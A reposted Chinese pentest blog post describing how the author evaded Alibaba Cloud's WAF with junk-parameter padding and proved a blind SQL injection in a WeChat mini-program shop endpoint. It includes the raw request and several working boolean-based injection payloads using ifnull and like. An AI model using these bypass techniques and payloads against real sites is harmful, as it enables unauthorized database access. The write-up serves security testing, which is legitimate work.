zoukankan      html  css  js  c++  java
  • 【奇淫巧技】Bypass阿里云注入

    序言

    我:摸鱼一时爽,一直摸鱼一时爽啊:relieved:
    大佬:还摸鱼,快来搞个注入。
    我:。。。

    拿到数据包

    GET /wxapp.php?i=undefined&t=undefined&v=undefined&from=wxapp&c=entry&a=wxapp&do=index&m=lionfish_comshop&sign=9cc540f4c25c15a1a30ae983d9f28c5d&controller=index.load_condition_goodslist&token=6e4f1c83854ca18c8e4858170a559305&pageNum=1&head_id=550.0and+(CONNECTION_ID()+like+'1')&keyword=a&type=0&good_ids=&gid=0 HTTP/1.1
    Host: www.xxx.com
    Connection: close
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat
    content-type: application/x-www-form-urlencoded

    这不是已经payload都有了么,有啥问题么,burp走起

     好吧,原来是阿里云waf,开搞,大佬说要出数据证明注入。

    0x01 判断数据库

    既然注入点已经有了,先看看是啥数据库呗,结果尝试好多函数全都GG,user()、user、length()、len()、if全被拦,一拦一个准。。
    既然常规函数不得行,那随便搞个函数看看:
    payload:

    550.0and+(1()+like+'1')

     诶嘿,报错了,MySQL数据库。
    知道是啥数据库,那就好办了。

    0x02 绕waf

    既然是MySQL数据库,那就可以开始构造条件判断了,可是把笔记里的payload一顿梭,全都被waf拦了,居然没一个能用的,只能找找看有没有什么骚姿势了,于是,,,
    有啥不懂问度娘:

    https://cloud.tencent.com/developer/article/1592593

     这篇文章提到可以用垃圾数据进行混淆,测试一下,我们这个站POST提交也可以,于是开搞。
    打开sublime,复制粘贴运行,200个垃圾数据键值对就出来了,复制到burp,wtf?还是被拦了。
    难道是键值对太少了?继续,忘了复制粘贴多少次了,后面测试的时候length()居然可以了。(前面一直被拦)
    payload:

    550.0 and+(length(1)+like+'1')

     说明垃圾数据生效了,继续

    0x03 更换参数

    既然waf也绕过了,也就继续构造条件判断语句。可是。。。
    后面发现不管语句判断正确与否,只要语法是正确的,返回结果都是一样的。
    于是查看原先的参数,发现keyword参数才是查询的字段,会影响查询返回内容。

    keyword=a

     

    keyword=b

     于是对keyword参数进行注入。
    payload:

    keyword=a'

    返回内容中得到SQL语句:

    %' and gc.begin_time 1603364903 and g.total > 0

    也就是注入点是在like查询中。

     payload:

    a%25'or+length(1)=' 返回所有
    a%25'and+length(1)=' 返回空

    0x04 条件判断

    找到可构造的点,开始构造条件判断
    这里重新试了其他函数:if、case、user()、current_user也不行,还是会被拦,搞不懂。:weary:
    payload:

    a%25'or+ifnull(user()%20like'n%25',1)='%

     后面发现ifnull不会被拦。

    a%25'or+ifnull('ra'like'r%25',1)='% true
    a%25'or+ifnull('1ra'like'r%25',1)='% false

    根据返回内容长度判断条件查询成功。
    条件ture的时候返回长度为:4027
    条件false的时候返回长度为:3886
    继续fuzz:然后在删掉括号时发现报错为字段错误
    payload:

    a%25'or+ifnull(user%20like'n%25',1)='%

     看到这个,想起cha牛说的可以用数据库中原本的数据来判断SQL注入,于是对字段进行爆破:
    (参数字典可以用自己的也可以搜集这个站的参数进行爆破)

     这里第一个price尝试的时候啥都没变化,于是换了第二个参数type

    这里爆破的时候发现返回数据长度跟在repeat的时候不一样,经常在repeat模块验证,得到type的第一个字母为n,于是先判断type的长度为多少。
    直接手工测试,因为爆破出来的结果很奇怪无法判断。(玄学)

    payload:

    a%25'or+ifnull/**/(length(type)=6,1)='%

    还好长度不长,只试到6就出来了。
    接着继续爆破type的后5位(纯手工。。。)
    得到最终结果:tyep=normal

    最终payload:

    a%25'or+ifnull(type='normal',1)='%

    到这里就成功绕过阿里云waf,利用数据库原有的数据证明该注入存在且可利用了。

    尾声

    我:完事,来一支事后烟。
    我:忘了我不抽烟了。
    我:继续摸鱼

    笨鸟先飞早入林,笨人勤学早成材。
    
    转载请注明出处:
    撰写人:fox-yu  http://www.cnblogs.com/fox-yu/
  • 相关阅读:
    hdu 5119 Happy Matt Friends
    hdu 5128 The E-pang Palace
    hdu 5131 Song Jiang's rank list
    hdu 5135 Little Zu Chongzhi's Triangles
    hdu 5137 How Many Maos Does the Guanxi Worth
    hdu 5122 K.Bro Sorting
    Human Gene Functions
    Palindrome(最长公共子序列)
    A Simple problem
    Alignment ( 最长上升(下降)子序列 )
  • 原文地址:https://www.cnblogs.com/fox-yu/p/14380815.html
Copyright © 2011-2022 走看看